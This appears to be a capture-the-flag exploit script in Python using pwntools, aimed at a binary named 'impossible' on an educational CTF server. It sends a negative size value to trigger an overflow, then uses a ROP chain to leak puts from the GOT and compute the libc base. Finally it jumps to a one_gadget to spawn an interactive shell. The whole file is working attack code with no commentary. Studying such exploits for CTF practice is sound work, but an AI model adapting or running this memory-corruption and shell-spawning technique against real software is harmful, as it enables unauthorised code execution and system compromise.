#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

#r = remote('eductf.zoolab.org',10105)
r = process('./impossible')

e = ELF('./impossible')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# -2147483648


pop_rdi_ret = 0x0000000000400873
main = 0x400748

r.recvuntil('Size:')
r.sendline('-2147483648')

padding = 'a'*264

r.recvuntil(':)')

r.sendline(padding + p64(pop_rdi_ret) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(main))

r.recv()
libc_base = u64(r.recvline()[:-1].ljust(8,'\x00')) - libc.symbols['puts']
print hex(libc_base)

r.recvuntil('Size:')
r.sendline('-2147483648')


one_gadget = libc_base + 0x10a38c 

r.sendline(padding + p64(one_gadget))


r.interactive()
